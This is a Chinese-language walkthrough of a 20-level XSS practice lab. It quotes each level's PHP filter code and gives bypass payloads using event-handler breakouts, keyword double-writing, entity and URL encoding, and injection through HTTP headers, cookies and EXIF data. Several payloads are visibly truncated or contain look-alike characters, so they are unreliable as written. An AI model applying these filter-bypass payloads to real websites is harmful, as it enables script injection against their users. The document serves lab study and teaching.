XSS挑战-WalkThrough
免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
知识点
无过滤 XSS (level 1)
各种难度的构造闭合 XSS (level 2、3、4、5、6)
各种难度的绕过过滤 XSS (level 2、3、4、5、6)
双写拼接 XSS (level 7)
实体编码+HTML 编码 XSS (level 8、9)
input 中的 XSS (level 10)
HTTP headers 头中的 XSS (level 11、12、13)
exif XSS (level 14)
angularjs XSS (level 15)
URL 编码 XSS (level 16)
embed 标签的 XSS (level 17、18)
Flash XSS (level 19、20)
level 1
没什么过滤,直接使用 即可
payload: http:///level1.php?keyword=test
level 2
使用 "> 构造输入框的闭合
payload: test">
level 3
使用 ' 可以闭合
构造 input 的 XSS,例如:
payload: test'οnmοuseοver='alert(1)'
payload: test'οnfοcus='alert(1)' autofocus '
level 4
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("
发现过滤了 ,使用 " 可以闭合
测试一下 test"123
构造 input 的 XSS,例如:
payload: test"οnfοcus=alert(1) autofocus "
level 5
$str = strtolower($_GET["keyword"]);
$str2=str_replace("
这一关主要过滤了
payload: ">M
level 6
$str = $_GET["keyword"];
$str2=str_replace("
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
和上一关一样,过滤的变多了,href,data,src 也被过滤,但是并没有将其大小写检测
一样,使用 "> 闭合,然后使用一个不被过滤的payload
payload: ">
level 7
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
这一关,只要检测到 on,href,src,script 等关键字,会直接过滤成空
闭合,然后双写,让他正好构造出 script
payload: ">alert("1")
level 8
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
?>
这一关目的将 payload 写入 的 herf 中
尝试构造 payload ,其中 script 会被转成 scr_ipt
这里可以将 r 实体编号为 r,然后触发 HTML 解码,将 script 解码为 script
payload: javascript:alert(1)
level 9
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
if(false===strpos($str7,'http://'))
{
echo '
}
else
{
echo '
}
过滤和上一关一样,但判断是否有 http://
测试 javascript:alert("http://"),将其实体编码,构造 javascript:alert("http://")
level 10
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("
echo "
没有找到和".htmlspecialchars($str)."相关的结果.
".'页面中存在3个隐藏的 input 输入框,其中 t_sort 是传参的,直接在前端修改代码让他显示出来,输入 payload,构造一个 input 的 xss:
payload: test"οnfοcus=alert(1) autofocus type="text"
level 11
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("
echo "
没有找到和".htmlspecialchars($str)."相关的结果.
".'这里的 t_ref 的 value 是我们访问这个网页的 referer 值,直接抓包修改 referer
payload: referer:test"οnfοcus=alert(1) autofocus type="text"
level 12
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("
echo "
没有找到和".htmlspecialchars($str)."相关的结果.
".'与上一题一样,这一题是判断 HTTP_USER_AGENT,直接抓包修改 HTTP_USER_AGENT
payload: HTTP_USER_AGENT:test"οnfοcus=alert(1) autofocus type="text"
level 13
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("
echo "
没有找到和".htmlspecialchars($str)."相关的结果.
".'这一题是 cookie 中的参数 user 传入导致 XSS,抓包修改 cookie
payload: user=test"οnfοcus=alert(1) autofocus type="text"
level 14
这一关的大体思路是在网页中嵌入了 http://www.exifviewer.org/ 这个网站,而这个第三方网站的作用是用于查看图片的 EXIF 信息,所以思路就是通过修改图片的 exif 信息,造成解析图片 exif 造成 XSS
我做的时候这个网站貌似无法访问了,所以这里找了另外一个网站 https://exifshot.com/app/
payload: exiftool(-k).exe -artist="" 1.jpg
level 15
这关使用 angularjs 的 ng-include
AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件.包含的内容将作为指定元素的子节点.
ng-include 属性的值可以是一个表达式,返回一个文件名.默认情况下,包含的文件需要包含在同一个域名下.
可以认为是文件包含
直接在包含的页面里用
遵循 SOP,调用第一关代码.使用单引号包裹,否则变成注释.
payload: ?src='level1.php?name=test'
level 16
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(""," ",$str4);
echo "
?>
这一关过滤了空格,/ 等连接符,用 URL 编码绕过过滤
payload: %3Cimg%0dsrc=1%0dοnerrοr=alert(2)%3E
level 17
ini_set("display_errors", 0);
echo "";
这一关将 arg01 和 arg02 的参数分别写入 src 的值中,并过滤了尖括号,导致不能闭合标签.
在 embed 标签中尝试在 arg02 写入事件来触发 XSS.
payload: arg01=a&arg02=%20οnmοusedοwn=alert(1)
如果一直无法触发,可能是因为无法加载 swf 文件,建议可以换360浏览器做这一题
level 18
<?php
ini_set("display_errors", 0);
echo "";
?>
这一题我看代码好像没啥区别? 使用了上一关的 payload 正常弹出 arg01=a&arg02=%20οnmοusedοwn=alert(1)
.......是我姿势不对吗?
网上有人构造 arg01 造成的弹出,相应的 payload: arg01=a%20οnmοusedοwn=alert(2)&arg02=b,我试了一下我这也能弹🤔
arg01=a&arg02=b οnmοuseοut=alert(1)
arg01=a&arg02=b οnmοuseοut=alert`1`
arg01=a&arg02=b οnmοuseοver=alert`1`
level 19~20
以下2关都属于 Flash XSS,对于这个不了解,略